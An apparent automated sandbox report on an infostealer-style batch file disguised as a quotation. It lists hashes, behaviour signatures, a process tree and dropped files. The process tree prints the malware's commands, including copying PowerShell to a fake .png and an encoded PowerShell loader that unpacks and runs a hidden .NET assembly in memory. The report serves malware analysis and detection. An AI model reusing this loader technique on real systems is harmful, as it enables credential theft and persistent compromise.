Analysis

  • max time kernel
    164s
  • max time network
    170s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-10-2023 07:39

General

  • Target

    Quotation 9117990927023.bat

  • Size

    1013KB

  • MD5

    82ea0e8631cc002a509a86edc2882e90

  • SHA1

    76d51a264ce95c422947a7563d08d229be03f4e6

  • SHA256

    4b1314d38a54e24ee3cb36e2485ff1a3b7e9d3bd9e0feebc71ef955653f4e3d3

  • SHA512

    c23720a1f359a2c1d0e20db1f92a8fe5383170279bdc7b68f6fca3e5e3365c530401156aec8bfd5a7d22ff98f188413ebd4609bb4ca2aa900177daab84c5717e

  • SSDEEP

    24576:bO6nHMuwW4sVl0A2ahdLNpQeu+SqME0N95Nw515:fnmodHdUgP

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Quotation 9117990927023.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3804
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:1936
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png
        2⤵
          PID:3940
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Quotation 9117990927023.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3548
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo F "
            3⤵
              PID:180
            • C:\Windows\system32\xcopy.exe
              xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png
              3⤵
                PID:1944
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo F "
                3⤵
                  PID:2736
                • C:\Windows\system32\xcopy.exe
                  xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Quotation 9117990927023.bat" C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png.bat
                  3⤵
                    PID:4068
                  • C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png
                    C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png -win 1 -enc JABZAHUAYgBwAG4AZABkAGkAdQBzAHEAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAVABlAHYAcQBrAGcAeABwAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWQB1AGIAcABuAGQAZABpAHUAcwBxACkAOwAkAFoAZQBsAGYAegAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAVABlAHYAcQBrAGcAeABwAGcAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAQwBmAGYAYgBtAGgAcQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAWgBlAGwAZgB6ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABDAGYAZgBiAG0AaABxAG4AdwAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAQwBmAGYAYgBtAGgAcQBuAHcALgBDAGwAbwBzAGUAKAApADsAJABaAGUAbABmAHoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABUAGUAdgBxAGsAZwB4AHAAZwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABUAGUAdgBxAGsAZwB4AHAAZwApADsAIAAkAEUAdABnAG8AaABhAHcAagB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAFQAZQB2AHEAawBnAHgAcABnACkAOwAgACQAVAB4AHMAdwBsAGYAbQBvAHAAeAB0ACAAPQAgACQARQB0AGcAbwBoAGEAdwBqAHQALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABEAG8AbgBnAHUAeQBiAGkAYQAgAD0AIAAkAFQAeABzAHcAbABmAG0AbwBwAHgAdAAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
                    3⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1456
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 3196
                      4⤵
                      • Program crash
                      PID:100
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 1456 -ip 1456
                1⤵
                  PID:3872

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png

                  Filesize

                  423KB

                  MD5

                  c32ca4acfcc635ec1ea6ed8a34df5fac

                  SHA1

                  f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

                  SHA256

                  73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

                  SHA512

                  6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

                • C:\Users\Admin\AppData\Local\Temp\Fdkitmrjwhy.png.bat

                  Filesize

                  1013KB

                  MD5

                  82ea0e8631cc002a509a86edc2882e90

                  SHA1

                  76d51a264ce95c422947a7563d08d229be03f4e6

                  SHA256

                  4b1314d38a54e24ee3cb36e2485ff1a3b7e9d3bd9e0feebc71ef955653f4e3d3

                  SHA512

                  c23720a1f359a2c1d0e20db1f92a8fe5383170279bdc7b68f6fca3e5e3365c530401156aec8bfd5a7d22ff98f188413ebd4609bb4ca2aa900177daab84c5717e

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_orzlctej.lmv.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • memory/1456-29-0x0000000005E60000-0x0000000005E7E000-memory.dmp

                  Filesize

                  120KB

                • memory/1456-8-0x0000000074B70000-0x0000000075320000-memory.dmp

                  Filesize

                  7.7MB

                • memory/1456-12-0x0000000074B70000-0x0000000075320000-memory.dmp

                  Filesize

                  7.7MB

                • memory/1456-13-0x0000000004F90000-0x00000000055B8000-memory.dmp

                  Filesize

                  6.2MB

                • memory/1456-14-0x0000000002840000-0x0000000002850000-memory.dmp

                  Filesize

                  64KB

                • memory/1456-15-0x0000000002840000-0x0000000002850000-memory.dmp

                  Filesize

                  64KB

                • memory/1456-16-0x0000000004ED0000-0x0000000004EF2000-memory.dmp

                  Filesize

                  136KB

                • memory/1456-17-0x00000000055C0000-0x0000000005626000-memory.dmp

                  Filesize

                  408KB

                • memory/1456-18-0x0000000005630000-0x0000000005696000-memory.dmp

                  Filesize

                  408KB

                • memory/1456-10-0x0000000002890000-0x00000000028C6000-memory.dmp

                  Filesize

                  216KB

                • memory/1456-24-0x0000000005820000-0x0000000005B74000-memory.dmp

                  Filesize

                  3.3MB

                • memory/1456-9-0x0000000002840000-0x0000000002850000-memory.dmp

                  Filesize

                  64KB

                • memory/1456-30-0x0000000005F40000-0x0000000005F8C000-memory.dmp

                  Filesize

                  304KB

                • memory/1456-11-0x0000000002840000-0x0000000002850000-memory.dmp

                  Filesize

                  64KB

                • memory/1456-32-0x0000000002840000-0x0000000002850000-memory.dmp

                  Filesize

                  64KB

                • memory/1456-33-0x00000000075C0000-0x0000000007C3A000-memory.dmp

                  Filesize

                  6.5MB

                • memory/1456-34-0x0000000006F60000-0x0000000006F7A000-memory.dmp

                  Filesize

                  104KB

                • memory/1456-35-0x0000000006FE0000-0x00000000070AA000-memory.dmp

                  Filesize

                  808KB

                • memory/1456-36-0x00000000070C0000-0x000000000713A000-memory.dmp

                  Filesize

                  488KB

                • memory/1456-37-0x0000000007240000-0x00000000072A6000-memory.dmp

                  Filesize

                  408KB

                • memory/1456-39-0x00000000073B0000-0x00000000073F5000-memory.dmp

                  Filesize

                  276KB

                • memory/1456-40-0x0000000002840000-0x0000000002850000-memory.dmp

                  Filesize

                  64KB

                • memory/1456-41-0x0000000007520000-0x0000000007562000-memory.dmp

                  Filesize

                  264KB

                • memory/1456-42-0x0000000002840000-0x0000000002850000-memory.dmp

                  Filesize

                  64KB

                • memory/1456-43-0x0000000002840000-0x0000000002850000-memory.dmp

                  Filesize

                  64KB

                • memory/1456-44-0x00000000081F0000-0x0000000008794000-memory.dmp

                  Filesize

                  5.6MB

                • memory/1456-46-0x0000000002840000-0x0000000002850000-memory.dmp

                  Filesize

                  64KB

                • memory/1456-47-0x0000000002840000-0x0000000002850000-memory.dmp

                  Filesize

                  64KB